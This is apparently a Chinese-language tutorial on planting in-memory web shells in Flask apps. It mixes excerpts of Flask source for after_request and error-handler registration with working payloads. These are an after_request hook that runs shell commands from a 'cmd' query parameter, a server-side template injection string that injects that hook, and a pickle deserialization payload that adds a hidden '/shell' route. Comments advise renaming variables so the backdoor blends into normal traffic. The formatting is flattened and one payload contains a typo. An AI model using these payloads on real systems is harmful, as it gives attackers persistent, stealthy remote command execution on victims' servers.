@setupmethod defafter_app_request(self, f: T_after_request) -> T_after_request: """Like :meth:`after_request`, but after every request, not only those handled by the blueprint. Equivalent to :meth:`.Flask.after_request`. """ self.record_once( lambda s: s.app.after_request_funcs.setdefault(None, []).append(f) ) return f
lambda resp: CmdResp if request.args.get('cmd') and exec(' global CmdResp; CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read()) ')==None else resp) #这里的cmd和CmdResp可以换成其他，避免影响正常业务的话可以改成业务中不存在的变量
写成ssti
1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}
@setupmethod deferrorhandler( self, code_or_exception: type[Exception] | int ) -> t.Callable[[T_error_handler], T_error_handler]: """Register a function to handle errors by code or exception class.
A decorator that is used to register a function given an error code. Example::
@app.errorhandler(404) def page_not_found(error): return 'This page does not exist', 404
You can also register handlers for arbitrary exceptions::
This is available on both app and blueprint objects. When used on an app, this can handle errors from every request. When used on a blueprint, this can handle errors from requests that the blueprint handles. To register with a blueprint and affect every request, use :meth:`.Blueprint.app_errorhandler`.
.. versionadded:: 0.7 Use :meth:`register_error_handler` instead of modifying :attr:`error_handler_spec` directly, for application wide error handlers.
.. versionadded:: 0.7 One can now additionally also register custom exception types that do not necessarily have to be a subclass of the :class:`~werkzeug.exceptions.HTTPException` class.
:param code_or_exception: the code as integer for the handler, or an arbitrary exception """
defdecorator(f: T_error_handler) -> T_error_handler: self.register_error_handler(code_or_exception, f) return f
return decorator
在调用时会调用register_error_handler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
@setupmethod defregister_error_handler( self, code_or_exception: type[Exception] | int, f: ft.ErrorHandlerCallable, ) -> None: """Alternative error attach function to the :meth:`errorhandler` decorator that is more straightforward to use for non decorator usage.
@staticmethod def_get_exc_class_and_code( exc_class_or_code: type[Exception] | int, ) -> tuple[type[Exception], int | None]: """Get the exception class being handled. For HTTP status codes or ``HTTPException`` subclasses, return both the exception and status code.
:param exc_class_or_code: Any exception class, or an HTTP status code as an integer. """ exc_class: type[Exception]
ifisinstance(exc_class_or_code, int): try: exc_class = default_exceptions[exc_class_or_code] except KeyError: raise ValueError( f"'{exc_class_or_code}' is not a recognized HTTP" " error code. Use a subclass of HTTPException with" " that code instead." ) fromNone else: exc_class = exc_class_or_code
ifisinstance(exc_class, Exception): raise TypeError( f"{exc_class!r} is an instance, not a class. Handlers" " can only be registered for Exception classes or HTTP" " error codes." )
ifnotissubclass(exc_class, Exception): raise ValueError( f"'{exc_class.__name__}' is not a subclass of Exception." " Handlers can only be registered for Exception classes" " or HTTP error codes." )
defold_version(): #少用，基本上没有能够用到的地方了 The setup method 'add_url_rule' can no longer be called on the application. classA(): def__reduce__(self): return (eval, ("__import__('sys').modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda:__import('os').popen(request.args.get('cmd')).read())"))
